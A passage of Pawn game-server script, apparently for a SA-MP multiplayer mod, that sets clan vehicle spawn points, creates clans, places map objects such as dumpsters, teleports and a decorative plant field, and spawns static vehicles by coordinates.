    SetClanVehicleSpawnPos(3,5,-2057.70703125,382.77050781,35.17187500,0.00000000);
    SetClanVehicleSpawnPos(4,5,-2062.17871094,382.76940918,35.17187500,0.00000000);
    SetClanVehicleSpawnPos(0,6,-2235.38500977,305.43917847,35.11718750,180.00000000);
    SetClanVehicleSpawnPos(1,6,-2231.01977539,305.51315308,35.11718750,180.00000000);
    SetClanVehicleSpawnPos(2,6,-2226.93115234,305.54248047,35.11718750,180.00000000);
    SetClanVehicleSpawnPos(3,6,-2222.69482422,305.43353271,35.11718750,180.00000000);
    SetClanVehicleSpawnPos(4,6,-2218.36181641,305.36523438,35.11718750,180.00000000);
    SetClanVehicleSpawnPos(0,7,-2057.41015625,1116.88281250,53.28906250,270.00000000);
    SetClanVehicleSpawnPos(1,7,-2057.31787109,1112.82226562,53.28906250,270.00000000);
    SetClanVehicleSpawnPos(2,7,-2057.21826172,1108.69921875,53.28906250,270.00000000);
    SetClanVehicleSpawnPos(3,7,-2057.23974609,1104.51928711,53.28906250,270.00000000);
    SetClanVehicleSpawnPos(4,7,-2057.23608398,1100.46081543,53.28906250,270.00000000);
    SetClanVehicleSpawnPos(0,8,-2196.67749023,1008.14495850,80.00000000,270.00000000);
    SetClanVehicleSpawnPos(1,8,-2196.82641602,994.77844238,80.00000000,270.00000000);
    SetClanVehicleSpawnPos(2,8,-2196.69140625,1003.75097656,80.00000000,270.00000000);
    SetClanVehicleSpawnPos(3,8,-2196.82128906,999.19824219,80.00000000,270.00000000);
    SetClanVehicleSpawnPos(4,8,-2196.81738281,990.52319336,80.00000000,270.00000000);
    SetClanVehicleSpawnPos(0,9,-2330.18554688,-124.75964355,35.31250000,180.00000000);
    SetClanVehicleSpawnPos(1,9,-2315.30957031,-124.48730469,35.31250000,180.00000000);
    SetClanVehicleSpawnPos(2,9,-2319.00000000,-124.60644531,35.31250000,180.00000000);
    SetClanVehicleSpawnPos(3,9,-2322.68945312,-124.75000000,35.31250000,180.00000000);
    SetClanVehicleSpawnPos(4,9,-2326.34960938,-124.76953125,35.31250000,180.00000000);

    CreateClan(0,1753.2860107422,-1894.201171875,13.557209968567);
    CreateClan(1,2851.6201171875,-1532.6710205078,11.09375);
    CreateClan(2,841.08129882813,-1627.3913574219,13.546875);
    CreateClan(3,487.37219238281,-1754.1696777344,14.097948074341);
    CreateClan(4,1306.8068847656,-1439.2225341797,14.954260826111);
    CreateClan(5,-2046.2796630859,379.36157226563,35.171875);
    CreateClan(6,-2224.3796386719,331.0417175293,35.3203125);
    CreateClan(7,-2037.0264892578,1112.2869873047,53.2890625);
    CreateClan(8,-2173.7199707031,992.95422363281,80);
    CreateClan(9,-2301.6228027344,-143.03588867188,35.3203125);

    print("* Clans has been created!");

    //+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

    print("Creating objects...");

    CreateObject(1492,2119.76000977,-1791.07287598,12.55468750,0.00000000,0.00000000,0.00000000); //pan danekn - dvere
    CreateObject(1556,-2036.02001953,1113.01391602,52.28149414,0.00000000,0.00000000,270.00000000); //clan 7 enter door
    CreateObject(1226,2504.00805664,-1745.86853027,16.27189255,0.00000000,0.00000000,44.00000000); //object(lamppost3) (1)
    CreateObject(1214,2492.12939453,-1742.60620117,12.54687500,0.00000000,0.00000000,0.00000000); //object(bollard) (1)
    CreateObject(1214,2499.69921875,-1742.60839844,12.54687500,0.00000000,0.00000000,0.00000000); //object(bollard) (2)
    CreateObject(1226,2485.83374023,-1754.33081055,16.42129517,0.00000000,0.00000000,291.99475098); //object(lamppost3) (2)

    //xxxxxxxxxxxxxxxxxxxxxx KOSE xxxxxxxxxxxxxxxxxxxxxx

    CreateObject(1344,-2242.82421875,116.05860901,35.12853241,0.00000000,0.00000000,270.50000000); //object(cj_dumpster2) (1)
    CreateObject(1344,-2242.95336914,110.98806763,35.12853241,0.00000000,0.00000000,276.25000000); //object(cj_dumpster2) (2)
    CreateObject(1344,-2242.83886719,113.87304688,35.12853241,0.00000000,0.00000000,267.25000000); //object(cj_dumpster2) (3)
    CreateObject(1357,-2243.53417969,112.44836426,34.58732605,0.00000000,0.00000000,350.00000000); //object(cj_fruitcrate3) (1)
    CreateObject(1345,-2481.19702148,-168.59323120,25.38732338,0.00000000,0.00000000,3.50000000); //object(cj_dumpster) (1)
    CreateObject(1345,-2486.18041992,-168.57568359,25.38732338,0.00000000,0.00000000,354.75000000); //object(cj_dumpster) (2)
    CreateObject(1345,-2483.66699219,-168.78889465,25.38732338,0.00000000,0.00000000,358.00000000); //object(cj_dumpster) (3)
    CreateObject(1344,-2476.59863281,-170.54975891,25.42540550,0.00000000,0.00000000,270.00000000); //object(cj_dumpster2) (4)
    CreateObject(1344,-2576.85107422,459.83447266,14.41759300,0.00000000,0.00000000,174.64599609); //object(cj_dumpster2) (5)
    CreateObject(1344,-2573.41699219,459.28320312,14.41759300,0.00000000,0.00000000,182.15332031); //object(cj_dumpster2) (6)
    CreateObject(1344,-1589.67102051,1262.16687012,6.99027634,0.00000000,0.00000000,274.00000000); //object(cj_dumpster2) (7)
    CreateObject(1345,-1589.72851562,1259.64331055,6.95222044,0.00000000,0.00000000,86.00000000); //object(cj_dumpster) (4)
    CreateObject(1356,-1589.60180664,1263.81225586,6.31140995,0.00000000,0.00000000,50.00000000); //object(cj_fruitcrate2) (1)
    CreateObject(1372,-1591.45983887,1257.41516113,6.17511559,0.00000000,0.00000000,68.00000000); //object(cj_dump2_low) (1)
    CreateObject(1439,-1656.41003418,459.03820801,6.17968750,0.00000000,0.00000000,316.00000000); //object(dyn_dumpster_1) (1)
    CreateObject(1449,-1659.52001953,459.33764648,6.70134211,0.00000000,0.00000000,44.00000000); //object(dyn_crate_2) (1)
    CreateObject(1441,-1655.61462402,457.18399048,6.83133650,0.00000000,0.00000000,0.00000000); //object(dyn_box_pile_4) (1)
    CreateObject(1440,-1658.10217285,459.31713867,6.69880342,0.00000000,0.00000000,62.00000000); //object(dyn_box_pile_3) (1)
    CreateObject(1365,-1853.21374512,-189.78411865,18.51791191,0.00000000,0.00000000,4.00000000); //object(cj_big_skip1) (1)
    CreateObject(1358,-1849.36865234,-193.82464600,18.57854652,0.00000000,0.00000000,298.00000000); //object(cj_skip_rubbish) (1)
    CreateObject(1349,-1855.89465332,-191.85276794,17.94950676,0.00000000,0.00000000,348.00000000); //object(cj_shtrolly) (1)
    CreateObject(1339,-1852.07983398,-191.72846985,18.03697205,0.00000000,0.00000000,356.00000000); //object(binnt09_la) (1)
    CreateObject(1265,-2154.58666992,630.90881348,51.83623123,0.00000000,0.00000000,60.00000000); //object(blackbag2) (1)
    CreateObject(1344,-2155.58740234,629.70922852,52.17540741,0.00000000,0.00000000,90.00000000); //object(cj_dumpster2) (8)
    CreateObject(1345,-2155.00146484,631.88836670,52.13732147,0.00000000,0.00000000,30.00000000); //object(cj_dumpster) (5)
    CreateObject(1265,-2154.45263672,629.65539551,51.83623123,0.00000000,80.00000000,299.99633789); //object(blackbag2) (2)
    CreateObject(1338,-2153.49023438,632.92016602,52.07849884,0.00000000,0.00000000,0.00000000); //object(binnt08_la) (1)
    CreateObject(1344,-2686.04858398,1406.04797363,6.90764904,0.00000000,0.00000000,250.00000000); //object(cj_dumpster2) (9)
    CreateObject(1344,-2684.89843750,1410.76855469,6.90196800,0.00000000,0.00000000,255.99792480); //object(cj_dumpster2) (10)
    CreateObject(1344,-2685.60644531,1408.32519531,6.90764904,0.00000000,0.00000000,261.99645996); //object(cj_dumpster2) (11)
    CreateObject(1264,-2686.48046875,1404.74731445,6.56589413,0.00000000,0.00000000,0.00000000); //object(blackbag1) (1)
    CreateObject(1230,-2686.13574219,1410.45434570,6.51051617,0.00000000,0.00000000,336.00000000); //object(cardboardbox) (1)
    CreateObject(1227,-2471.12939453,774.09497070,35.02359772,0.00000000,0.00000000,352.00000000); //object(dump1) (1)
    CreateObject(1227,-2468.46777344,774.12988281,35.03034592,0.00000000,0.00000000,6.00000000); //object(dump1) (2)
    CreateObject(1264,-2467.29003906,775.61437988,34.65076828,0.00000000,0.00000000,20.00000000); //object(blackbag1) (2)
    CreateObject(1369,-2471.70166016,775.69018555,34.79374695,0.00000000,0.00000000,4.00000000); //object(cj_wheelchair1) (1)
    CreateObject(1415,-2473.67993164,773.99395752,34.17187500,0.00000000,0.00000000,178.00000000); //object(dyn_dumpster) (1)

    //xxxxxxxxxxxxxxxxxxxxxx TELEPORTS xxxxxxxxxxxxxxxxxxxxxxxxx

    CreateObject(18275,836.55981445,-2067.28149414,14.11535645,0.00000000,0.00000000,0.00000000); //object(cw2_mtbfinish) (1) - LS
    CreateObject(354,838.93829346,-2067.30810547,12.11718750,0.00000000,0.00000000,0.00000000); //object(1)
    CreateObject(354,834.24865723,-2067.21899414,12.11718750,0.00000000,0.00000000,0.00000000); //object(2)
    CreateObject(354,836.49066162,-2067.34570312,12.11718750,0.00000000,0.00000000,0.00000000); //object(3)
    CreateObject(354,839.06127930,-2067.14282227,15.10949421,0.00000000,0.00000000,0.00000000); //object(4)
    CreateObject(354,834.06121826,-2067.44262695,15.06178665,0.00000000,0.00000000,0.00000000); //object(5)
    CreateObject(354,834.06121826,-2067.15747070,13.90426636,0.00000000,0.00000000,0.00000000); //object(6)
    CreateObject(354,839.06127930,-2067.33178711,13.24229431,0.00000000,0.00000000,0.00000000); //object(7)
    CreateObject(354,836.43896484,-2067.23876953,15.66718769,0.00000000,0.00000000,0.00000000); //object(8)
    CreateObject(18275,-2995.70092773,467.78436279,6.16223145,0.00000000,0.00000000,90.00000000); //object(cw2_mtbfinish) (2) - SF
    CreateObject(354,-2995.83496094,465.55224609,4.16406250,0.00000000,0.00000000,0.00000000); //object(9)
    CreateObject(354,-2995.61547852,470.04064941,4.16406250,0.00000000,0.00000000,0.00000000); //object(10)
    CreateObject(354,-2995.91845703,467.69827271,4.16406250,0.00000000,0.00000000,0.00000000); //object(11)
    CreateObject(354,-2995.53417969,465.28573608,7.52369976,0.00000000,0.00000000,0.00000000); //object(12)
    CreateObject(354,-2995.68017578,465.28573608,6.33755493,0.00000000,0.00000000,0.00000000); //object(13)
    CreateObject(354,-2995.62036133,470.28585815,7.57098007,0.00000000,0.00000000,0.00000000); //object(14)
    CreateObject(354,-2995.64916992,470.28585815,6.35752010,0.00000000,0.00000000,0.00000000); //object(15)
    CreateObject(354,-3085.29785156,470.88748169,24.86985016,0.00000000,0.00000000,0.00000000); //object(16)
    CreateObject(8661,-2844.70000000,468.23318000,2.45000000,0.00000000,184.00000000,0.00000000); //rampa na obrubniku

    //xxxxxxxxxxxxxxxxxxxxxxx CANONS xxxxxxxxxxxxxxxxxxxxxxxxxxx

    CreateObject(11547,2674.42382812,-1003.68359375,83.00000000,0.00000000,0.00000000,90.00000000); //object(desn_tscanopy) (1)
    CreateObject(11547,970.11328125,-2157.01074219,10.00000000,0.00000000,0.00000000,90.00000000); //object(desn_tscanopy) (2)
    CreateObject(11547,-2289.91015625,-1625.64648438,480.50000000,0.00000000,0.00000000,90.00000000); //object(desn_tscanopy) (3)
    CreateObject(11547,-2425.80371094,-566.03906250,126.75000000,0.00000000,0.00000000,0.00000000); //object(desn_tscanopy) (4)
    CreateObject(11547,-2563.76367188,1024.01367188,74.40000153,0.00000000,0.00000000,0.00000000); //object(desn_tscanopy) (5)
    CreateObject(3258,2653.12695312,-1003.80712891,70.00000000,0.00000000,45.00000000,0.00000000); //object(refthinchim1) (1)
    CreateObject(3258,990.70806885,-2157.05053711,-3.00000000,0.00000000,315.00000000,0.00000000); //object(refthinchim1) (2)
    CreateObject(3258,-2310.73291016,-1625.74047852,467.50000000,0.00000000,45.00000000,0.00000000); //object(refthinchim1) (3)
    CreateObject(3258,-2425.79492188,-586.98199463,113.75000000,0.00000000,45.00000000,90.00000000); //object(refthinchim1) (4)
    CreateObject(3258,-2563.69238281,1003.51025391,61.40000153,0.00000000,45.00000000,90.00000000); //object(refthinchim1) (5)
    CreateObject(8615,2673.50024414,-1005.68829346,88.67781067,0.00000000,0.00000000,0.00000000); //object(vgssstairs04_lvs) (1)
    CreateObject(8615,970.11016846,-2155.08544922,15.67781258,0.00000000,0.00000000,180.00000000); //object(vgssstairs04_lvs) (2)
    CreateObject(8615,-2290.64501953,-1627.66125488,486.17782593,0.00000000,0.00000000,0.00000000); //object(vgssstairs04_lvs) (3)
    CreateObject(8615,-2424.00415039,-566.75299072,132.42781067,0.00000000,0.00000000,90.00000000); //object(vgssstairs04_lvs) (4)
    CreateObject(8615,-2561.83007812,1023.68872070,80.07781219,0.00000000,0.00000000,90.00000000); //object(vgssstairs04_lvs) (5)
    CreateObject(637,2676.10937500,-1003.67852783,90.61466980,0.00000000,0.00000000,0.00000000); //object(kb_planterbox) (1)
    CreateObject(637,2676.81005859,-1003.67968750,90.61466980,0.00000000,0.00000000,0.00000000); //object(kb_planterbox) (2)
    CreateObject(637,967.57543945,-2157.06420898,17.61467171,0.00000000,0.00000000,0.00000000); //object(kb_planterbox) (3)
    CreateObject(637,966.87414551,-2157.05859375,17.61467171,0.00000000,0.00000000,0.00000000); //object(kb_planterbox) (4)
    CreateObject(637,-2287.89404297,-1625.68505859,488.11468506,0.00000000,0.00000000,0.00000000); //object(kb_planterbox) (5)
    CreateObject(637,-2287.24267578,-1625.67919922,488.11468506,0.00000000,0.00000000,0.00000000); //object(kb_planterbox) (6)
    CreateObject(637,-2426.00268555,-564.00695801,134.36466980,0.00000000,0.00000000,90.00000000); //object(kb_planterbox) (7)
    CreateObject(637,-2425.99511719,-563.30615234,134.36466980,0.00000000,0.00000000,90.00000000); //object(kb_planterbox) (8)
    CreateObject(637,-2563.87255859,1026.41723633,82.01467133,0.00000000,0.00000000,90.00000000); //object(kb_planterbox) (9)
    CreateObject(637,-2563.87426758,1027.20031738,82.01467133,0.00000000,0.00000000,90.00000000); //object(kb_planterbox) (10)

    //xxxxxxxxxxxxxxxxxxxxxx MARIHUANA xxxxxxxxxxxxxxxxxxxxxxxxx

    MarihuanaPlant[0]  = CreateObject(3409,-1067.69995117,-1618.00000000,(74.15 + (random(50)/100)),0.00000000,0.00000000,0.00000000); //object(grassplant) (1)
    MarihuanaPlant[1]  = CreateObject(3409,-1067.69995117,-1623.00000000,(74.15 + (random(50)/100)),0.00000000,0.00000000,0.00000000); //object(grassplant) (2)
    MarihuanaPlant[2]  = CreateObject(3409,-1067.69995117,-1633.00000000,(74.15 + (random(50)/100)),0.00000000,0.00000000,0.00000000); //object(grassplant) (3)
    MarihuanaPlant[3]  = CreateObject(3409,-1072.00000000,-1628.00000000,(74.15 + (random(50)/100)),0.00000000,0.00000000,0.00000000); //object(grassplant) (4)
    MarihuanaPlant[4]  = CreateObject(3409,-1072.00000000,-1633.00000000,(74.15 + (random(50)/100)),0.00000000,0.00000000,0.00000000); //object(grassplant) (5)
    MarihuanaPlant[5]  = CreateObject(3409,-1067.69995117,-1628.00000000,(74.15 + (random(50)/100)),0.00000000,0.00000000,0.00000000); //object(grassplant) (6)
    MarihuanaPlant[6]  = CreateObject(3409,-1072.00000000,-1623.00000000,(74.15 + (random(50)/100)),0.00000000,0.00000000,0.00000000); //object(grassplant) (7)
    MarihuanaPlant[7]  = CreateObject(3409,-1072.00000000,-1618.00000000,(74.15 + (random(50)/100)),0.00000000,0.00000000,0.00000000); //object(grassplant) (8)
    MarihuanaPlant[8]  = CreateObject(3409,-1063.50000000,-1633.00000000,(74.15 + (random(50)/100)),0.00000000,0.00000000,0.00000000); //object(grassplant) (9)
    MarihuanaPlant[9]  = CreateObject(3409,-1063.50000000,-1628.00000000,(74.15 + (random(50)/100)),0.00000000,0.00000000,0.00000000); //object(grassplant) (10)
    MarihuanaPlant[10] = CreateObject(3409,-1063.50000000,-1623.00000000,(74.15 + (random(50)/100)),0.00000000,0.00000000,0.00000000); //object(grassplant) (11)
    MarihuanaPlant[11] = CreateObject(3409,-1063.50000000,-1618.00000000,(74.15 + (random(50)/100)),0.00000000,0.00000000,0.00000000); //object(grassplant) (12)

    //xxxxxxxxxxxxxxxxxxxxxx HOUSE 97 (CHILLIARD) xxxxxxxxxxxxxx

    CreateObject(13755,-2637.49243164,-1402.04992676,265.00000000,0.00000000,0.00000000,224.00000000); //object(cehillhouse01) (1)
    CreateObject(8613,-2630.77490234,-1379.58093262,262.34500122,0.00000000,0.00000000,134.00000000); //object(vgssstairs03_lvs) (1)
    CreateObject(5153,-2637.92895508,-1381.00170898,264.70001221,0.00000000,0.00000000,44.00000000); //object(stuntramp7_las2) (1)
    CreateObject(5153,-2637.01757812,-1381.96191406,264.70001221,0.00000000,0.00000000,43.99475098); //object(stuntramp7_las2) (2)

    print("* Objects has been created!");

    //+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

    print("Creating vehicles and loading vehicles settings...");

    for(new vehicle=0; vehicle<MAX_VEHICLES_EX; vehicle++)
    {
        VehicleFuel[vehicle]=MAX_VEHICLE_FUEL;
    }
    
    AddStaticVehicle(522,852.26098633,-1819.79101562,11.85946369,134.00000000,3,1); //NRG-500
    AddStaticVehicle(463,844.84661865,-1824.99804688,11.76491165,304.00000000,-1,-1); //Freeway
    AddStaticVehicle(522,853.09362793,-1827.05920410,11.87374401,53.99475098,-1,6); //NRG-500
    AddStaticVehicle(586,846.79095459,-1818.60168457,11.78387356,181.99975586,99,118); //Wayfarer
    AddStaticVehicle(521,845.06933594,-1818.42187500,11.84004688,181.99951172,-1,-1); //FCR-900
    AddStaticVehicle(468,853.28057861,-1820.86889648,11.96252251,120.00000000,6,118); //Sanchez
    AddStaticVehicle(463,845.93554688,-1826.38769531,11.76973820,319.99877930,-1,-1); //Freeway
    AddStaticVehicle(558,-1946.33105469,273.36523438,40.71759033,191.99157715,82,1); //Uranus
    AddStaticVehicle(411,-1648.25183105,1207.10998535,13.47808933,313.99877930,1,1); //Infernus
    AddStaticVehicle(587,2127.03881836,-1149.40954590,24.06029892,339.98925781,1,1); //Euros
    AddStaticVehicle(603,2136.23632812,-1133.07031250,25.54015160,43.98925781,117,56); //Phoenix
    AddStaticVehicle(527,2119.55786133,-1142.97607422,24.47492981,311.98437500,123,1); //Cadrona
    AddStaticVehicle(445,2120.31494141,-1125.24072266,25.40929985,303.98425293,83,1); //Admiral
    AddStaticVehicle(467,2120.53515625,-1131.00976562,25.23768997,303.98425293,123,1); //Oceanic
    AddStaticVehicle(477,2134.94433594,-1138.04785156,25.38506508,43.98925781,2,1); //ZR-350
    AddStaticVehicle(443,2125.64599609,-2085.76171875,14.08980083,133.98059082,83,1); //Packer
    AddStaticVehicle(567,2503.12304688,-1754.18261719,13.38359451,6.00000000,-1,-1); //Savanna
    AddStaticVehicle(576,2491.67529297,-1747.84033203,13.25589180,329.99853516,3,1); //Tornado
    AddStaticVehicle(419,2501.95336914,-1747.07397461,13.34553528,60.00000000,1,1); //Esperanto
    AddStaticVehicle(412,2482.41333008,-1753.51501465,13.49687481,43.99633789,-1,1); //Voodoo
    AddStaticVehicle(534,2483.11669922,-1746.45861816,13.39381981,37.99475098,6,8); //Remington
    AddStaticVehicle(454,1612.25439453,591.73217773,0.00000000,180.24169922,1,1); //Tropic
    AddStaticVehicle(479,-2586.21020508,321.71664429,4.68962383,90.24169922,52,87); //Regina
    AddStaticVehicle(517,-2596.11474609,307.07919312,4.39163876,350.24169922,81,36); //Majestic
    AddStaticVehicle(405,-2586.33398438,307.63476562,5.01210308,90.24169922,52,87); //Sentinel
    AddStaticVehicle(546,-2586.41992188,325.33105469,4.69341087,90.24169922,1,1); //Intruder
    AddStaticVehicle(493,1638.68603516,592.38128662,0.00000000,180.24359131,3,-1); //Jetmax
    AddStaticVehicle(472,1619.25195312,591.95019531,0.00000000,180.24169922,1,1); //Coastguard
    AddStaticVehicle(484,1603.05957031,589.11132812,0.00000000,180.24169922,1,1); //Marquis
    AddStaticVehicle(562,-1955.63867188,271.92773438,40.70788193,237.99682617,6,1); //Elegy
    AddStaticVehicle(543,-1634.57519531,-2251.61425781,31.39279556,90.00000000,-1,-1); //Sadler
    AddStaticVehicle(468,-1643.35949707,-2231.38159180,29.31804085,110.00000000,-1,-1); //Sanchez
    AddStaticVehicle(576,2356.41770000,-1160.61260000,27.12660000,272.94240000,68,96); //Tornado
    AddStaticVehicle(576,2346.00510000,-1160.59060000,26.88760000,270.44790000,71,1); //Tornado
    AddStaticVehicle(536,2217.44480000,-1161.14820000,25.46380000,90.07170000,12,1); //Blade
    AddStaticVehicle(535,2228.76610000,-1170.06950000,25.50410000,268.49710000,28,1); //Slamvan
    AddStaticVehicle(567,2490.47770000,-1682.34930000,13.20890000,266.72800000,88,64); //Savanna
    AddStaticVehicle(536,2486.59250000,-1655.33890000,13.07150000,91.16040000,106,96); //Blade
    AddStaticVehicle(534,1879.34210000,-2021.64950000,13.11460000,178.56010000,42,42); //Remington
    AddStaticVehicle(535,1885.38230000,-2034.15500000,13.15270000,13.08440000,31,1); //Slamvan
    AddStaticVehicle(534,1926.11840000,-1788.89040000,13.11060000,269.81390000,53,53); //Remington
    AddStaticVehicle(535,1794.70980000,-1932.13400000,13.14990000,178.53190000,55,1); //Slamvan
    AddStaticVehicle(536,2055.86370000,-1904.08780000,13.28420000,356.70010000,30,96); //Blade
    AddStaticVehicle(567,2188.58640000,-1908.81190000,13.41200000,359.60650000,88,96); //Savanna
    AddStaticVehicle(576,2329.75090000,-1987.21570000,13.15830000,1.40060000,74,3); //Tornado
    AddStaticVehicle(534,2530.17840000,-2012.17920000,13.27680000,83.75960000,62,62); //Remington
    AddStaticVehicle(535,2489.17260000,-1953.42740000,13.18770000,179.74420000,66,1); //Slamvan
    AddStaticVehicle(536,2513.22700000,-1784.33560000,13.28630000,264.47490000,32,1); //Blade
    AddStaticVehicle(567,2263.82320000,-1751.22590000,13.25270000,268.49880000,93,64); //Savanna
    AddStaticVehicle(576,2173.01460000,-1676.30740000,14.68590000,317.42110000,75,96); //Tornado
    AddStaticVehicle(534,2019.40120000,-1648.73200000,13.27840000,89.15790000,7,7); //Remington
    AddStaticVehicle(536,1997.38650000,-1118.81190000,26.51110000,221.05020000,37,1); //Blade
    AddStaticVehicle(534,2030.19720000,-965.79530000,40.45200000,195.77690000,10,10); //Remington
    AddStaticVehicle(535,2270.01340000,-1041.98980000,50.48890000,141.97410000,123,1); //Slamvan
    AddStaticVehicle(536,2453.93090000,-1020.03200000,59.23550000,175.80340000,57,96); //Blade
    AddStaticVehicle(567,2601.29560000,-1062.25490000,69.45610000,26.34510000,97,96); //Savanna
    AddStaticVehicle(534,2503.37470000,-960.72480000,82.00340000,175.70550000,44,11); //Remington
    AddStaticVehicle(535,2659.66770000,-1131.08130000,65.21150000,91.82260000,118,1); //Slamvan
    AddStaticVehicle(536,2827.33610000,-1181.31350000,24.78010000,260.91260000,71,96); //Blade
    AddStaticVehicle(576,2803.96040000,-1087.60420000,30.33600000,180.83680000,79,1); //Tornado
    AddStaticVehicle(534,2783.21670000,-1250.06570000,47.38880000,178.74340000,17,86); //Remington
    AddStaticVehicle(535,2585.69180000,-1411.97250000,24.87750000,85.53290000,3,1); //Slamvan
    AddStaticVehicle(536,2537.37150000,-1474.97670000,23.75230000,268.80330000,10,1); //Blade
    AddStaticVehicle(567,2391.31610000,-1487.06910000,23.69580000,89.30680000,99,81); //Savanna
    AddStaticVehicle(576,2337.33780000,-1370.63420000,23.61260000,174.04440000,84,96); //Tornado
    AddStaticVehicle(534,2270.85570000,-1434.08650000,23.55360000,357.90280000,37,37); //Remington
    AddStaticVehicle(535,2137.85400000,-1370.95420000,24.18880000,181.87260000,28,1); //Slamvan
    AddStaticVehicle(536,1997.22460000,-1275.29310000,23.55760000,359.65500000,12,1); //Blade
    AddStaticVehicle(567,2745.71750000,-1463.85390000,30.32640000,359.98090000,102,114); //Savanna
    AddStaticVehicle(576,2856.19450000,-1355.96880000,10.68060000,271.52130000,67,1); //Tornado
    AddStaticVehicle(534,2859.32660000,-1912.16790000,10.65620000,7.00090000,42,42); //Remington
    AddStaticVehicle(535,2562.52090000,-1244.52100000,46.30910000,183.63560000,31,1); //Slamvan
    AddStaticVehicle(536,2299.15790000,-1636.23670000,14.42030000,201.38870000,106,96); //Blade
    AddStaticVehicle(536,2756.72140000,-1962.74310000,13.28420000,0.07180000,106,96); //Blade
    AddStaticVehicle(567,2129.40520000,-1483.61390000,23.66880000,357.33020000,114,1); //Savanna
    AddStaticVehicle(451,487.40450000,-1511.26190000,20.05480000,5.38730000,123,123); //Turismo
    AddStaticVehicle(506,653.84020000,-1657.22610000,14.30320000,90.76550000,76,76); //Super GT
    AddStaticVehicle(429,639.94700000,-1547.24360000,14.88910000,358.44610000,3,101); //Banshee
    AddStaticVehicle(402,625.46850000,-1304.69990000,14.17640000,177.95010000,30,30); //Buffalo
    AddStaticVehicle(541,732.44070000,-1189.34250000,19.44770000,321.43310000,53,86); //Bullet
    AddStaticVehicle(506,1051.52920000,-1298.21320000,13.28700000,179.56060000,18,1); //Super GT
    AddStaticVehicle(471,1065.43000000,-1162.14590000,23.68750000,2.67000000,6,6); //Quad
    AddStaticVehicle(411,1252.83110000,-1152.97370000,23.37170000,270.80380000,75,1); //Infernus
    AddStaticVehicle(451,1334.06900000,-1061.81950000,27.84000000,266.75930000,125,125); //Turismo
    AddStaticVehicle(506,1180.16470000,-913.48080000,42.95110000,188.57620000,3,3); //Super GT
    AddStaticVehicle(429,957.92070000,-961.07380000,38.99670000,102.61340000,16,6); //Banshee
    AddStaticVehicle(402,1108.09490000,-1025.80710000,31.76460000,187.25190000,39,39); //Buffalo
    AddStaticVehicle(541,953.24180000,-1381.08210000,12.96870000,181.20910000,22,1); //Bullet
    AddStaticVehicle(506,815.08200000,-1408.83390000,13.13430000,269.50850000,32,1); //Super GT
    AddStaticVehicle(471,781.81260000,-1622.93470000,13.35920000,272.80040000,4,4); //Quad
    AddStaticVehicle(471,992.41080000,-1883.81170000,10.86260000,158.08790000,3,6); //Quad
    AddStaticVehicle(471,650.02230000,-1881.95340000,3.97040000,131.88900000,6,16); //Quad
    AddStaticVehicle(471,306.18700000,-1872.81760000,2.34100000,184.78500000,16,30); //Quad
    AddStaticVehicle(411,331.45290000,-1789.14260000,4.60340000,0.76460000,12,1); //Infernus
    AddStaticVehicle(451,458.79800000,-1811.04410000,5.25370000,88.17040000,94,36); //Turismo
    AddStaticVehicle(506,174.03482056,-1548.40502930,12.51188660,328.71093750,6,6); //Super GT
    AddStaticVehicle(429,892.87340000,-1668.98060000,13.23040000,1.01540000,1,2); //Banshee
    AddStaticVehicle(402,1098.70780000,-1758.03500000,13.18380000,272.15200000,88,90); //Buffalo
    AddStaticVehicle(541,1125.95930000,-1559.52430000,13.33540000,182.77290000,94,86); //Bullet
    AddStaticVehicle(506,1032.78140000,-1506.76020000,13.37800000,308.81280000,45,45); //Super GT
    AddStaticVehicle(423,379.18710000,-2046.16530000,7.85220000,57.34180000,1,53); //Mr Whoopee
    AddStaticVehicle(471,1283.83580000,-1612.33090000,13.51360000,269.01610000,46,46); //Quad
    AddStaticVehicle(411,1358.07090000,-1752.08940000,13.09570000,358.46670000,65,1); //Infernus
    AddStaticVehicle(451,1713.82440000,-1069.58370000,23.61120000,179.53860000,16,16); //Turismo
    AddStaticVehicle(506,1558.11510000,-1012.27670000,23.61050000,184.60450000,7,7); //Super GT
    AddStaticVehicle(402,1467.66160000,-1235.74020000,13.46560000,92.30810000,98,98); //Buffalo
    AddStaticVehicle(541,1537.34370000,-1449.22930000,13.00790000,354.95230000,51,1); //Bullet
    AddStaticVehicle(506,1248.44250000,-2032.39560000,59.59280000,269.76480000,3,1); //Super GT
    AddStaticVehicle(411,1549.30320000,-2360.61820000,13.28130000,181.47430000,123,1); //Infernus
    AddStaticVehicle(451,1395.42040000,-2207.99710000,13.24650000,0.90160000,18,18); //Turismo
    AddStaticVehicle(506,1574.01090000,-1879.36370000,13.25100000,272.58840000,52,52); //Super GT
    AddStaticVehicle(429,1766.09140000,-1702.80800000,13.15080000,89.65700000,1,3); //Banshee
    AddStaticVehicle(402,1730.16380000,-1276.98610000,13.38520000,137.59970000,110,110); //Buffalo
    AddStaticVehicle(541,1279.01090000,-1378.38620000,12.89370000,359.93310000,2,1); //Bullet
    AddStaticVehicle(506,1089.57840000,-641.41360000,112.95990000,264.64370000,51,1); //Super GT
    AddStaticVehicle(411,788.13120000,-822.10550000,69.28660000,358.49300000,116,1); //Infernus
    AddStaticVehicle(506,167.33720000,-1342.07120000,69.35740000,175.72880000,76,76); //Super GT
    AddStaticVehicle(429,568.65190000,-1132.13370000,50.28400000,209.61990000,3,1); //Banshee
    AddStaticVehicle(541,1028.86350000,-810.34530000,101.47660000,16.76930000,53,79); //Bullet
    AddStaticVehicle(443,2616.09490000,-2229.27670000,13.89420000,270.27740000,54,1); //Packer
    AddStaticVehicle(515,2488.32540000,-2671.12430000,14.65690000,86.30420000,3,76); //Roadtrain
    AddStaticVehicle(446,2490.05460000,-2268.24710000,-0.43280000,90.43060000,1,53); //Squalo
    AddStaticVehicle(446,2355.95650000,-2531.53910000,-0.25050000,1.89740000,1,57); //Squalo
    AddStaticVehicle(406,2206.56950000,-2523.03860000,15.09580000,269.60410000,1,1); //Dumper
    AddStaticVehicle(525,2232.68750000,-2227.96660000,13.42870000,314.70520000,94,43); //Tow Truck
    AddStaticVehicle(443,2322.70450000,-2073.35970000,14.18870000,273.84640000,84,1); //Packer
    AddStaticVehicle(515,2102.57812500,-2074.62011719,14.58010006,210.96496582,17,77); //Roadtrain
    AddStaticVehicle(423,380.09790000,-2040.29560000,7.85620000,53.58470000,1,5); //Mr Whoopee
